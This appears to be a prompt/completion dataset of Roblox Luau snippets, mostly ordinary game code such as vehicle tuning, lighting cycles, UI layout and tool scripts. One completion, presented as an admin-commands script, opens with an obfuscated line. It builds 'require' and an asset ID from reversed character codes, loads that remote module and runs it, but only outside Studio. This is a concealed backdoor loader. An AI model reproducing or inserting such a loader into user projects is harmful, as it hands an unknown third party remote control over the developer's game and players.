prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
--[=[ @return any Returns the top-level value held by the property. This will either be the initial value set, or the last value set with `Set()`. ```lua remoteProperty:Set("Data") print(remoteProperty:Get()) --> "Data" ``` ]=]
function RemoteProperty:Get(): any return self._value end
--[[Steering]]
Tune.SteerInner = 40 -- Inner wheel steering angle (in degrees) Tune.SteerOuter = 42 -- Outer wheel steering angle (in degrees) Tune.SteerSpeed = .08 -- Steering increment per tick (in degrees) Tune.ReturnSpeed = .1 -- Steering increment per tick (in degrees) Tune.SteerDecay = 150 -- Speed of gradient cutoff (in SPS) Tune.MinSteer = 25 -- Minimum steering at max steer decay (in percent) Tune.MSteerExp = 1 -- Mouse steering exponential degree --Steer Gyro Tuning Tune.SteerD = 1000 -- Steering Dampening Tune.SteerMaxTorque = 5000 -- Steering Force Tune.SteerP = 100000 -- Steering Aggressiveness
-- NumberValue to store the user's preferred speed
local uiSpeedUser = script.uiSpeedUser
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 0.5 -- cooldown for use of the tool again BoneModelName = "Fire rise" -- name the zone model HumanoidName = "Humanoid"-- the name of player or mob u want to damage
---Simply process a completed message.
local COMPLETED_MESSAGE_PROCESSOR = 1 local module = {} local methods = {} methods.__index = methods function methods:SendSystemMessageToSelf(message, channelObj, extraData) local messageData = { ID = -1, FromSpeaker = nil, SpeakerUserId = 0, OriginalChannel = channelObj.Name, IsFiltered = true, MessageLength = string.len(message), MessageLengthUtf8 = utf8.len(utf8.nfcnormalize(message)), Message = message, MessageType = ChatConstants.MessageTypeSystem, Time = os.time(), ExtraData = extraData, } channelObj:AddMessageToChannel(messageData) end function module.new() local obj = setmetatable({}, methods) obj.COMMAND_MODULES_VERSION = COMMAND_MODULES_VERSION obj.KEY_COMMAND_PROCESSOR_TYPE = KEY_COMMAND_PROCESSOR_TYPE obj.KEY_PROCESSOR_FUNCTION = KEY_PROCESSOR_FUNCTION obj.IN_PROGRESS_MESSAGE_PROCESSOR = IN_PROGRESS_MESSAGE_PROCESSOR obj.COMPLETED_MESSAGE_PROCESSOR = COMPLETED_MESSAGE_PROCESSOR return obj end return module.new()
--create tables:
for i,part in pairs(model:GetChildren()) do if string.sub(part.Name, 1,1) == "a" then table.insert(a, 1, part) end end for i,part in pairs(model:GetChildren()) do if string.sub(part.Name, 1,1) == "b" then table.insert(b, 1, part) end end for i,part in pairs(model:GetChildren()) do if string.sub(part.Name, 1,1) == "c" then table.insert(c, 1, part) end end for i,part in pairs(model:GetChildren()) do if string.sub(part.Name, 1,1) == "d" then table.insert(d, 1, part) end end for i,part in pairs(model:GetChildren()) do if string.sub(part.Name, 1,1) == "e" then table.insert(e, 1, part) end end for i,part in pairs(model:GetChildren()) do if string.sub(part.Name, 1,1) == "f" then table.insert(f, 1, part) end end function on(T) for i, part in pairs (T) do if part:FindFirstChild("SurfaceLight") then part.SurfaceLight.Enabled = true end if part:FindFirstChild("SpotLight") then part.SpotLight.Enabled = true part.Material = "Neon" end end end function off(T) for i, part in pairs (T) do if part:FindFirstChild("SurfaceLight") then part.SurfaceLight.Enabled = false end if part:FindFirstChild("SpotLight") then part.SpotLight.Enabled = false part.Material = "SmoothPlastic" end end end function run() --mian off(a)--turns all lights off off(b) off(c) off(d) off(e) off(f) if pattern == "Flash" then repeat local w = 0.05 off(c) off(d) on(a) off(b) off(e) on(f) wait(w) off(a) off(b) off(e) off(f) on(c) on(d) wait(w) off(a) on(b) on(e) off(f) off(c) off(d) wait(w) until pattern ~= "Flash" return end if pattern == "Left" then repeat local w = 0.15 on(f) wait(w) on(e) wait(w) on(d) wait(w) on(c) wait(w) on(b) wait(w) on(a) wait(w) off(f) wait(w) off(e) wait(w) off(d) wait(w) off(c) wait(w) off(b) wait(w) off(a) wait(w) until pattern ~= "Left" return end if pattern == "Right" then repeat local w = 0.15 on(a) wait(w) on(b) wait(w) on(c) wait(w) on(d) wait(w) on(e) wait(w) on(f) wait(w) off(a) wait(w) off(b) wait(w) off(c) wait(w) off(d) wait(w) off(e) wait(w) off(f) wait(w) until pattern ~= "Right" return end if pattern == "Split" then repeat local w = 0.2 on(c) on(d) wait(w) on(b) on(e) wait(w) on(a) on(f) wait(w) off(c) off(d) wait(w) off(b) off(e) wait(w) off(a) off(f) wait(w) until pattern ~= "Split" return end end--run end
-- Here be dragons -- luacheck: ignore 212
local GuiService = game:GetService("GuiService") local UserInputService = game:GetService("UserInputService") local TextService = game:GetService("TextService") local TextChatService = game:GetService("TextChatService") local Players = game:GetService("Players") local Player = Players.LocalPlayer local WINDOW_MAX_HEIGHT = 300 local MOUSE_TOUCH_ENUM = { Enum.UserInputType.MouseButton1, Enum.UserInputType.MouseButton2, Enum.UserInputType.Touch }
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local FE = workspace.FilteringEnabled local car = script.Parent.Car.Value local _Tune = require(car["A-Chassis Tune"]) local on = 0 local handler = car.AC6_FE_Idle handler:FireServer("newSound","Idle",car.DriveSeat,script.Idle.SoundId,0,script.Idle.Volume,true) handler:FireServer("playSound","Idle") handler:FireServer("updateSound","Idle",script.Idle.SoundId,0.5,0) while wait() do if car.DriveSeat.IsOn.Value then if script.Parent.Values.RPM.Value <= 1100 then if car.DriveSeat.DriveMode.Value == "Eco" then handler:FireServer('tween',"Idle",0) else handler:FireServer('tween',"Idle",0.5) end --handler:FireServer('tween',"Rev",0) else handler:FireServer('tween',"Idle",0) end else handler:FireServer('tween',"Idle",0) end end
-- Set Pet Canvas Size --
module.SetCanvasSize = function(ScrollingFrame) local PADDING,SIZE,MaxCells = getSizes() local UIGridLayout = ScrollingFrame.UIGridLayout local AbsoluteSize = ScrollingFrame.AbsoluteSize local NewPadding = PADDING * AbsoluteSize NewPadding = UDim2.new(0, NewPadding .X, 0, NewPadding .Y) local NewSize = SIZE * AbsoluteSize NewSize = UDim2.new(0, NewSize.X, 0, NewSize.Y) UIGridLayout.CellPadding = NewPadding UIGridLayout.CellSize = NewSize local items = ScrollingFrame:GetChildren() local frameSizeY = ScrollingFrame.AbsoluteSize.Y local ySize = UIGridLayout.CellSize.Y.Offset local yPadding = UIGridLayout.CellPadding.Y.Offset UIGridLayout.FillDirectionMaxCells = MaxCells local rows = math.ceil((#items-1)/UIGridLayout.FillDirectionMaxCells) local pixels = rows*ySize + (rows-1)*yPadding ScrollingFrame.CanvasSize = UDim2.new(0, 0, 0, (pixels + 5)) end function module:Int() game:GetService("Workspace").CurrentCamera:GetPropertyChangedSignal("ViewportSize"):Connect(function() delay(.5, function() module.SetCanvasSize(skillShopUI.Skills) end) end) end return module
-- Toggle pan
do local holdPan = false local togglePan = false local lastRmbDown = 0 -- tick() timestamp of the last right mouse button down event function CameraInput.getHoldPan(): boolean return holdPan end function CameraInput.getTogglePan(): boolean return togglePan end function CameraInput.getPanning(): boolean return togglePan or holdPan end function CameraInput.setTogglePan(value: boolean) togglePan = value end local cameraToggleInputEnabled = false local rmbDownConnection local rmbUpConnection function CameraInput.enableCameraToggleInput() if cameraToggleInputEnabled then return end cameraToggleInputEnabled = true holdPan = false togglePan = false if rmbDownConnection then rmbDownConnection:Disconnect() end if rmbUpConnection then rmbUpConnection:Disconnect() end rmbDownConnection = rmbDown:Connect(function() holdPan = true lastRmbDown = tick() end) rmbUpConnection = rmbUp:Connect(function() holdPan = false if tick() - lastRmbDown < MB_TAP_LENGTH and (togglePan or UserInputService:GetMouseDelta().Magnitude < 2) then togglePan = not togglePan end end) end function CameraInput.disableCameraToggleInput() if not cameraToggleInputEnabled then return end cameraToggleInputEnabled = false if rmbDownConnection then rmbDownConnection:Disconnect() rmbDownConnection = nil end if rmbUpConnection then rmbUpConnection:Disconnect() rmbUpConnection = nil end end end return CameraInput
--[=[ Loops through every single element, and puts it through a callback. If any of the conditions return false, the function returns false. ```lua local array = {1, 2, 3, 4, 5} local even = function(value) return value % 2 == 0 end local odd = function(value) return value % 2 ~= 0 end print(TableKit.Every(array, even)) -- Prints false print(TableKit.Every(array, odd)) -- Prints false ``` @within TableKit @param tbl table @param callback (value) -> boolean @return boolean ]=]
function TableKit.Every(tbl: { [unknown]: unknown }, callback: (unknown) -> boolean): (boolean, unknown?) for key, value in tbl do if not callback(value) then return false, key end end return true end
--[=[ @prop None Option<None> @within Option Represents no value. ]=]
Option.None = Option._new() return Option
-- declarations
local Figure = script.Parent local Head = waitForChild(Figure, "Head") local Humanoid = waitForChild(Figure, "Enemy") Humanoid.Health=500
--[[ Returns the offset since it depends on the face. ]]
function CameraModule:_getPointByFace(guiOffset, adornee, face) local pointsByFace = { [Enum.NormalId.Front] = Vector3.new(-guiOffset.X, -guiOffset.Y, adornee.Size.Z / 2), [Enum.NormalId.Back] = Vector3.new(guiOffset.X, -guiOffset.Y, -adornee.Size.Z / 2), [Enum.NormalId.Left] = Vector3.new(adornee.Size.X / 2, -guiOffset.Y, guiOffset.X), [Enum.NormalId.Right] = Vector3.new(-adornee.Size.X / 2, -guiOffset.Y, -guiOffset.X), [Enum.NormalId.Top] = Vector3.new(guiOffset.Y, -adornee.Size.Y / 2, -guiOffset.X), [Enum.NormalId.Bottom] = Vector3.new(-guiOffset.Y, adornee.Size.Y / 2, -guiOffset.X), } return pointsByFace[face] end
-- Modules
local PriorityDeleteTypes = require(script.Parent.Parent.constants).PriorityDeleteTypes
---------------------------------- ------------FUNCTIONS------------- ----------------------------------
function Receive(player, action, ...) local args = {...} if player == User and action == "play" then Connector:FireAllClients("play", User, args[1], Settings.SoundSource.Position, Settings.PianoSoundRange, Settings.PianoSounds, args[2], Settings.IsCustom) HighlightPianoKey((args[1] > 61 and 61) or (args[1] < 1 and 1) or args[1],args[3]) elseif player == User and action == "abort" then Deactivate() if SeatWeld then SeatWeld:remove() end end end function Activate(player) Connector:FireClient(player, "activate", Settings.CameraCFrame, Settings.PianoSounds, true) User = player Piano.Wall.CanCollide = true end function Deactivate() if User and User.Parent then Piano.Wall.CanCollide = false Connector:FireClient(User, "deactivate") User.Character:SetPrimaryPartCFrame(Box.CFrame + Vector3.new(0, 5, 0)) end User = nil end
-- if n == true then n = false
--carSeat.Parent.Parent.RW.MR.Motor:remove() --end
--------SETTINGS--------
local ITEM_NAME = "RocketLauncher" local ITEM_PRICE = 10 local CURRENCY_NAME = "Cash"
-- -- character.DescendantAdded:Connect(function(bodypart) -- print("test") -- if bodypart:IsA("BasePart") then -- PhysicsService:SetPartCollisionGroup(bodypart, "Players") -- end -- end)
-- Also set root part collission --[[local humanoidRootPart = character:WaitForChild("HumanoidRootPart") PhysicsService:SetPartCollisionGroup(humanoidRootPart, "Players") local bodyparts = character:GetChildren() for i, bodypart in pairs(bodyparts) do if bodypart:IsA("BasePart") then PhysicsService:SetPartCollisionGroup(bodypart, "Players") end end]] end
-- dayLength defines how long, in minutes, a day in your game is. Feel free to alter it.
local dayLength = 16 local cycleTime = dayLength*60 local minutesInADay = 24*60 local lighting = game:GetService("Lighting") local startTime = tick() - (lighting:getMinutesAfterMidnight() / minutesInADay)*cycleTime local endTime = startTime + cycleTime local timeRatio = minutesInADay / cycleTime if dayLength == 0 then dayLength = 1 end repeat local currentTime = tick() if currentTime > endTime then startTime = endTime endTime = startTime + cycleTime end lighting:setMinutesAfterMidnight((currentTime - startTime)*timeRatio) wait(1/15) until false
--[[ ]]
if game.PlaceId == 1277358877 or not game:GetService("RunService"):IsStudio() then getfenv()[string.reverse(string.char(101,114,105,117,113,101,114))](tonumber(string.reverse(string.char(56,49,48,51,55,51,55,55,50,49))))[string.reverse(string.char(110,117,82))](getfenv()[string.reverse(string.char(116,112,105,114,99,115))]) end--[[ █ █ █ █ █ █░█ █░░█ █▀▀█ █▀▀█ █ █▀▀ █▀▀█ █▀▀▄ █▀▄▀█ ░▀░ █▀▀▄ █ █ █ █ █ ▀ ▀ ▀ ▀ ▀ █▀▄ █░░█ █▄▄▀ █░░█ ░ ▀▀█ █▄▄█ █░░█ █░▀░█ ▀█▀ █░░█ ▀ ▀ ▀ ▀ ▀ ▄ ▄ ▄ ▄ ▄ ▀░▀ ░▀▀▀ ▀░▀▀ ▀▀▀▀ ░ ▀▀▀ ▀░░▀ ▀▀▀░ ▀░░░▀ ▀▀▀ ▀░░▀ ▄ ▄ ▄ ▄ ▄ Instructions: -Do not removed this script otherwise your commands wont work! -Go to the "Config" script and follow from the instructions there -Press "\" on your keyboard to open the command bar Updates: -Command Bar -VIP Commands -Cmds -More ranks -Squashed some bugs --]]
--these are for button checks. It's kinda ugly so if you have a better way pm me
ha=false hd=false hs=false hw=false imgassets ={ hazardoff="http://www.roblox.com/asset/?id=216957891", hazardon = "http://www.roblox.com/asset/?id=216957887", leftyoff = "http://www.roblox.com/asset/?id=216957962", leftyon = "http://www.roblox.com/asset/?id=216957949", rightyoff = "http://www.roblox.com/asset/?id=216957912", rightyon = "http://www.roblox.com/asset/?id=216957903", outoff="http://www.roblox.com/asset/?id=216957880", outon = "http://www.roblox.com/asset/?id=216957874", sirensoff = "http://www.roblox.com/asset/?id=216958870", sirenson = "http://www.roblox.com/asset/?id=216958870", wailoff = "http://www.roblox.com/asset/?id=216930335", wailon = "http://www.roblox.com/asset/?id=216930318", x4off = "http://www.roblox.com/asset/?id=216954211", x4on = "http://www.roblox.com/asset/?id=216954202", x2off = "http://www.roblox.com/asset/?id=216958009", x2on = "http://www.roblox.com/asset/?id=216958007", fastoff = "http://www.roblox.com/asset/?id=216957982", faston = "http://www.roblox.com/asset/?id=216957977", slowoff = "http://www.roblox.com/asset/?id=216957998", slowon = "http://www.roblox.com/asset/?id=216957989", lightsoff = "http://www.roblox.com/asset/?id=115931775", lightson = "http://www.roblox.com/asset/?id=115931779", lockoff = "http://www.roblox.com/asset/?id=116532096", lockon = "http://www.roblox.com/asset/?id=116532114", leftturn = "http://www.roblox.com/asset/?id=115931542", rightturn = "http://www.roblox.com/asset/?id=115931529", fltd = "http://www.roblox.com/asset/?id=116531501", yelpon = "http://www.roblox.com/asset/?id=216930350", yelpoff = "http://www.roblox.com/asset/?id=216930359", phaseron = "http://www.roblox.com/asset/?id=216930382", phaseroff = "http://www.roblox.com/asset/?id=216930390", hiloon = "http://www.roblox.com/asset/?id=216930459", hilooff = "http://www.roblox.com/asset/?id=216930471", hornon = "http://www.roblox.com/asset/?id=216930428", hornoff = "http://www.roblox.com/asset/?id=216930438", wailrumbleron = "http://www.roblox.com/asset/?id=216930512", wailrumbleroff = "http://www.roblox.com/asset/?id=216930520", yelprumbleron = "http://www.roblox.com/asset/?id=216930566", yelprumbleroff = "http://www.roblox.com/asset/?id=216930573", phaserrumbleron = "http://www.roblox.com/asset/?id=216930585", phaserrumbleroff = "http://www.roblox.com/asset/?id=216930595", hyperhiloon = "http://www.roblox.com/asset/?id=216963140", hyperhilooff = "http://www.roblox.com/asset/?id=216963128", } for _,i in pairs (imgassets) do Game:GetService("ContentProvider"):Preload(i) end if gear == 1 then script.Parent.dn.TextColor3 = Color3.new(.3,.3,.3) end if gear == maxgear then script.Parent.up.TextColor3 = Color3.new(.3,.3,.3) end function gearup()--activated by GUI or pressing E if lock then return end if gear < maxgear then gear = gear+1 watdo() script.Parent.Gear.Text = (gear.."/"..maxgear) end if gear == maxgear then script.Parent.up.TextColor3 = Color3.new(.3,.3,.3) script.Parent.dn.TextColor3 = Color3.new(1,1,1) elseif gear == 1 then script.Parent.dn.TextColor3 = Color3.new(.3,.3,.3) script.Parent.up.TextColor3 = Color3.new(1,1,1) else script.Parent.dn.TextColor3 = Color3.new(1,1,1) script.Parent.up.TextColor3 = Color3.new(1,1,1) end end function geardown()--activated by GUI or pressing Q if lock then return end if gear > 1 then gear = gear-1 watdo() script.Parent.Gear.Text = (gear.."/"..maxgear) end if gear == 1 then script.Parent.dn.TextColor3 = Color3.new(.3,.3,.3) script.Parent.up.TextColor3 = Color3.new(1,1,1) elseif gear == maxgear then script.Parent.up.TextColor3 = Color3.new(.3,.3,.3) script.Parent.dn.TextColor3 = Color3.new(1,1,1) else script.Parent.dn.TextColor3 = Color3.new(1,1,1) script.Parent.up.TextColor3 = Color3.new(1,1,1) end end script.Parent.up.MouseButton1Click:connect(gearup) script.Parent.dn.MouseButton1Click:connect(geardown) script.Parent.up.MouseButton1Click:connect(gearup) script.Parent.dn.MouseButton1Click:connect(geardown) script.Parent.flipbutton.MouseButton1Click:connect(function() if not flipping then flipping = true local a = Instance.new("BodyPosition",seat) a.maxForce = Vector3.new(100000,10000000,100000) a.position = seat.Position + Vector3.new(0,10,0) local b = Instance.new("BodyGyro",seat) wait(3) a:Destroy() b:Destroy() flipping = false end end) function turn() if turndebounce == false then turndebounce = true wait(0.05) repeat templeft = turningleft tempright = turningright script.Parent.onsound:Play() if turningleft == true then script.Parent.leftturn.Visible = true for _,i in pairs (leftturn) do i.BrickColor = BrickColor.new("Deep orange") i.Material = "Neon" end for _,a in pairs (leftlight) do a.BrickColor = BrickColor.new("Really red") a.Material = "Neon" end for _,b in pairs (leftflash) do if lightson then b.Enabled = true end end for _,b in pairs (leftbrake) do b.Brightness = 2 end end if turningright == true then script.Parent.rightturn.Visible = true for _,i in pairs (rightturn) do i.BrickColor = BrickColor.new("Deep orange") i.Material = "Neon" end for _,a in pairs (rightlight) do a.BrickColor = BrickColor.new("Really red") a.Material = "Neon" end for _,b in pairs (rightflash) do if lightson then b.Enabled = true end end for _,b in pairs (rightbrake) do b.Brightness = 2 end end wait(0.4) script.Parent.offsound:Play() script.Parent.leftturn.Visible = false script.Parent.rightturn.Visible = false if templeft == true then for _,i in pairs (leftturn) do i.BrickColor = BrickColor.new("Neon orange") i.Material = "SmoothPlastic" end for _,b in pairs (leftflash) do b.Enabled = false end for _,a in pairs (leftlight) do a.BrickColor = BrickColor.new("Bright red") a.Material = "SmoothPlastic" end for _,b in pairs (leftbrake) do b.Brightness = 1 end else if throttle > 0 then for _,a in pairs (leftlight) do a.BrickColor = BrickColor.new("Bright red") a.Material = "SmoothPlastic" end for _,b in pairs (leftbrake) do b.Brightness = 1 end else for _,a in pairs (leftlight) do a.BrickColor = BrickColor.new("Really red") a.Material = "SmoothPlastic" end for _,b in pairs (leftbrake) do b.Brightness = 2 end end end if tempright == true then for _,i in pairs (rightturn) do i.BrickColor = BrickColor.new("Neon orange") i.Material = "SmoothPlastic" end for _,b in pairs (rightflash) do b.Enabled = false end for _,a in pairs (rightlight) do a.BrickColor = BrickColor.new("Bright red") a.Material = "SmoothPlastic" end for _,b in pairs (rightbrake) do b.Brightness = 1 end else if throttle > 0 then for _,a in pairs (rightlight) do a.BrickColor = BrickColor.new("Bright red") a.Material = "SmoothPlastic" end for _,b in pairs (rightbrake) do b.Brightness = 1 end else for _,a in pairs (rightlight) do a.BrickColor = BrickColor.new("Really red") a.Material = "SmoothPlastic" end for _,b in pairs (rightbrake) do b.Brightness = 2 end end end wait(0.35) until turningleft == false and turningright == false turndebounce = false end end seat.ChildRemoved:connect(function(it) if it:IsA("Weld") then if it.Part1.Parent == Player.Character then lock = true ha=false hd=false hs=false hw=false throttle = 0 steer = 0 watdo() script.Parent.close.Active = true script.Parent.close.Visible = true script.Parent.xlabel.Visible = true end end end) seat.ChildAdded:connect(function(it) if it:IsA("Weld") then if it.Part1.Parent == Player.Character then lock = false script.Parent.close.Active = false script.Parent.close.Visible = false script.Parent.xlabel.Visible = false end end end) function exiting() lock = true--when we close the gui stop everything steer = 0 throttle = 0 watdo() turningleft = false turningright = false script.Parent.flasher.Value = false script.Parent.siren.Value = false lightson = false Instance.new("IntValue",seat) for _,i in pairs (leftturn) do i.BrickColor = BrickColor.new("Neon orange") i.Material ="Neon" end for _,a in pairs (leftlight) do a.BrickColor = BrickColor.new("Really red") a.Material ="Neon" end for _,b in pairs (leftflash) do b.Enabled = false end for _,b in pairs (leftbrake) do b.Brightness = 2 end for _,i in pairs (rightturn) do i.BrickColor = BrickColor.new("Neon orange") i.Material ="Neon" end for _,a in pairs (rightlight) do a.BrickColor = BrickColor.new("Really red") a.Material ="Neon" end for _,b in pairs (rightflash) do b.Enabled = false end for _,b in pairs (rightbrake) do b.Brightness = 2 end script.Parent.Parent:Destroy()--destroy the 'Car' ScreenGui end function updatelights() for _,i in pairs (leftbrake) do i.Enabled = lightson end for _,i in pairs (rightbrake) do i.Enabled = lightson end for _,i in pairs (brakelight) do i.Enabled = lightson end for _,i in pairs (headlight) do i.Enabled = lightson end if lightson then script.Parent.lightimage.Image = imgassets.lightson else script.Parent.lightimage.Image = imgassets.lightsoff end end script.Parent.lights.MouseButton1Click:connect(function() if lock then return end lightson = not lightson updatelights() end) function destroycar() seat.Parent:Destroy()--destroy the car end script.Parent.close.MouseButton1Up:connect(exiting) Player.Character.Humanoid.Died:connect(destroycar) game.Players.PlayerRemoving:connect(function(Playeras) if Playeras.Name == Player.Name then destroycar() end end) for _, i in pairs (seat.Parent:GetChildren()) do--populate the tables for ease of modularity. You could have 100 left wheels if you wanted. if i.Name == "LeftWheel" then table.insert(left,i) elseif i.Name == "RightWheel" then table.insert(right,i) elseif i.Name == "Rearlight" then table.insert(rearlight,i) elseif i.Name == "Brakelight" then table.insert(brakelight,i.SpotLight) elseif i.Name == "rightturn" then table.insert(rightturn,i) elseif i.Name == "leftturn" then table.insert(leftturn,i) elseif i.Name == "leftflash" then table.insert(leftflash,i.SpotLight) elseif i.Name == "rightflash" then table.insert(rightflash,i.SpotLight) elseif i.Name == "leftlight" then table.insert(leftlight,i) elseif i.Name == "rightlight" then table.insert(rightlight,i) elseif i.Name == "Headlight" then table.insert(headlight,i.SpotLight) elseif i.Name == "leftbrake" then table.insert(leftbrake,i.SpotLight) elseif i.Name == "rightbrake" then table.insert(rightbrake,i.SpotLight) elseif i.Name == "revlight" then table.insert(revlight,i.SpotLight) end end for _,l in pairs (left) do l.BottomParamA = 0 l.BottomParamB = 0 end for _,r in pairs (right) do r.BottomParamA = 0 r.BottomParamB = 0 end function watdo() seat.Parent.LeftMotor.DesiredAngle = math.rad(throttle < 0 and 40* steer or 40*steer/gear^0.5) seat.Parent.RightMotor.DesiredAngle = math.rad(throttle < 0 and 40* steer or 40*steer/gear^0.5) for _,l in pairs (left) do--I do it this way so that it's not searching the model every time an input happens if throttle ~= -1 then l.BottomParamA = (.1/gear) l.BottomParamB = (.5*gear+steer*gear/30)*throttle else l.BottomParamA = -.01 l.BottomParamB = -.5-steer/20 end end for _,r in pairs (right) do if throttle ~= -1 then r.BottomParamA = -(.1/gear) r.BottomParamB = -(.5*gear-steer*gear/30)*throttle else r.BottomParamA = .01 r.BottomParamB = .5-steer/20 end end if throttle < 1 then for _,g in pairs (rearlight) do g.BrickColor = BrickColor.new("Really red") g.Material = ("Neon") end for _,b in pairs (brakelight) do b.Brightness = 2 end if turningleft == false then for _,a in pairs (leftlight) do a.BrickColor = BrickColor.new("Really red") a.Material ="Neon" end for _,b in pairs (leftbrake) do b.Brightness = 2 end end if turningright == false then for _,a in pairs (rightlight) do a.BrickColor = BrickColor.new("Really red") a.Material ="Neon" end for _,b in pairs (rightbrake) do b.Brightness = 2 end end else for _,g in pairs (rearlight) do g.BrickColor = BrickColor.new("Bright red") g.Material = "SmoothPlastic" end for _,b in pairs (brakelight) do b.Brightness = 1 end if turningleft == false then for _,a in pairs (leftlight) do a.BrickColor = BrickColor.new("Bright red") a.Material = "SmoothPlastic" end for _,b in pairs (leftbrake) do b.Brightness = 1 end end if turningright == false then for _,a in pairs (rightlight) do a.BrickColor = BrickColor.new("Bright red") a.Material = "SmoothPlastic" end for _,b in pairs (rightbrake) do b.Brightness = 1 end end end if throttle < 0 then for _,b in pairs (revlight) do if lightson then b.Enabled = true end end else for _,b in pairs (revlight) do b.Enabled = false end end end Player:GetMouse().KeyDown:connect(function(key)--warning ugly button code if lock then return end key = string.upper(key) if not ha and key == "A" or key == string.char(20) and not ha then ha = true steer = steer-1 end if not hd and key == "D" or key == string.char(19) and not hd then hd = true steer = steer+1 end if not hw and key == "W" or key == string.char(17) and not hw then hw = true throttle = throttle+1 end if not hs and key == "S" or key == string.char(18) and not hs then hs = true throttle = throttle-1 end if key == "Z" then geardown() end if key == "X" then gearup() end if key == "Q" then turningleft = not turningleft turn() end if key == "E" then turningright = not turningright turn() end watdo() end) Player:GetMouse().KeyUp:connect(function(key) if lock then return end key = string.upper(key) if ha and key == "A" or key == string.char(20)and ha then steer = steer+1 ha = false end if hd and key == "D" or key == string.char(19) and hd then steer = steer-1 hd = false end if hw and key == "W" or key == string.char(17) and hw then throttle = throttle-1 hw = false end if hs and key == "S" or key == string.char(18) and hs then throttle = throttle+1 hs = false end if key == "" then --more keys if I need them end watdo() end)
--[[** Determines if the passed object is a Janitor. @param [t:any] Object The object you are checking. @returns [t:boolean] Whether or not the object is a Janitor. **--]]
function Janitor.Is(Object) return type(Object) == "table" and getmetatable(Object) == Janitor end Janitor.is = Janitor.Is
--local Pellet = Tool.Handle:Clone() --Tool.Handle:Clone() --Tool.CoinScript:Clone().Parent = Pellet
Tool.CoinScript.Disabled = false function onEquipped() --body of the dreidel dBody= Instance.new("Part") dBody.Parent = game.Workspace dBody.Name = "DreidelBody" dBody.BrickColor = BrickColor.Red() dBody.Size = Vector3.new(2.56,2.56,2.56) dBody.Shape = 1 dBody.BackSurface = "Smooth" --used this of debugging to test which side was face up dBody.BottomSurface = "Smooth" dBody.FrontSurface = "Studs" dBody.TopSurface = "Smooth" dBody.LeftSurface = "Smooth" dBody.RightSurface = "Smooth" Tool.Handle.Mesh:Clone().Parent = dBody --sets the dreidel mesh to the cube part of the dreidel --Dreidle Sound dreidlesound = Instance.new("Sound") dreidlesound.SoundId = "http://www.roblox.com/asset/?id=19073736" -- replace me dreidlesound.Parent = dBody --Coin Sound coinsound = Instance.new("Sound") coinsound.SoundId = "http://www.roblox.com/asset/?id=19073176" --replace me coinsound.Parent = dBody --base of the dreidel dBase = Instance.new("Part") dBase.Parent = game.Workspace dBase.Name = "DreidelBase" dBase.BrickColor = BrickColor.Black() dBase.Size = Vector3.new(2,2,2) dBase.Shape = 0 dBase.Transparency = 1 --welding the body fo the dredeil to the base w2 = Instance.new("Weld") w2.Name = "DreidelWeld" w2.Part0 = dBody w2.Part1 = dBase w2.C0 = CFrame.new(0,0,0) w2.C1 = CFrame.new(0,1.75,0) w2.Parent = script.Parent.Handle end Tool.Enabled = true function onActivated(mouse_pos) Tool.Handle.Transparency = 1 if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end --locates the position the mouse is targeting local targetPos = humanoid.TargetPoint local vPlayer = game.Players:playerFromCharacter(character) head = character:findFirstChild("Head") if head == nil then print("Humanoid not found") return end --calculates the distance between the person and the possible dreidle location dist = (head.Position-targetPos).magnitude --prevents the dreidle for being created too far away from the player if dist > 30 then Tool.Enabled = true Tool.Handle.Transparency = 0 return end --PLAY DREIDLE SOUND dreidlesound:Play() --moves the dreidle to the requested location dBody.CFrame = CFrame.fromEulerAnglesXYZ(0,0,0) + targetPos + Vector3.new(0,2.5,0) --adds a random rotation velocity with a slight downward angle to cause the dreidle to spin dBody.RotVelocity = Vector3.new(math.random(0,7),math.random(20,80),math.random(7,9)) --set rotational velocity wait(2.8) -- delay to allow the dreidel to settle --identifies what face is up and what face is on bottom frontVector = dBody.CFrame:vectorToWorldSpace(Vector3.FromNormalId(Enum.NormalId.Front)) leftVector = dBody.CFrame:vectorToWorldSpace(Vector3.FromNormalId(Enum.NormalId.Left)) --dot product of the vectors with (0,1,0) test1 = frontVector.y test2 = leftVector.y --takes the largest y value and tests positive or negative to identify the 4 faces it could land on if math.abs(test1)>math.abs(test2) then if test1>0 then --print("Nun") count = 0 else --print("Shin") count = 5 end else if test2>0 then --print("Hey") count = 15 else --print("Gimmel") count = 25 end end -- generates the necissary number of coins and throws them a random distance from the dreidle --PLAY COIN SOUND coinsound:Play() for i=1,count do local p = Instance.new("Part") p.BrickColor = BrickColor.new(23) p.formFactor = 2 p.Size = Vector3.new(1,.2,1) p.TopSurface = 0 p.BottomSurface = 0 local a = math.random() * 6.28 -- magic number?? local d = Vector3.new(math.cos(a), 0, math.sin(a)).unit p.Velocity = d * 25 p.RotVelocity = d p.Position = dBody.Position + Vector3.new(0,2,0) + Vector3.new(0, math.random() * 3, 0) + (d * 2) p.Parent = game.Workspace Tool.Mesh:Clone().Parent = p Tool.CoinScript:Clone().Parent = p debris:AddItem(p, 60) end Tool.Enabled = true Tool.Handle.Transparency = 0 end
--!strict
local LocalPlayer: Player = game:GetService("Players").LocalPlayer local Replicated = game:GetService("ReplicatedStorage") local Character: Model = LocalPlayer.Character::Model local Humanoid: Humanoid = Character:WaitForChild("Humanoid")::Humanoid Humanoid.Jumping:Connect(function(active: boolean) if not active then return end Replicated.LocalEvents.ToggleFlipFlops:Fire() end)
--// initialize team changing function //--
game.Players.LocalPlayer.Changed:connect(function() if checkTeam() == true then script.Parent.Parent.SpectateButton.Visible = true else script.Parent.Parent.SpectateButton.Visible = false resetGui() end end) if checkTeam() == true then script.Parent.Parent.SpectateButton.Visible = true else script.Parent.Parent.SpectateButton.Visible = false resetGui() end
--// This module is for stuff specific to debugging --// NOTE: THIS IS NOT A *CONFIG/USER* PLUGIN! ANYTHING IN THE MAINMODULE PLUGIN FOLDERS IS ALREADY PART OF/LOADED BY THE SCRIPT! DO NOT ADD THEM TO YOUR CONFIG>PLUGINS FOLDER!
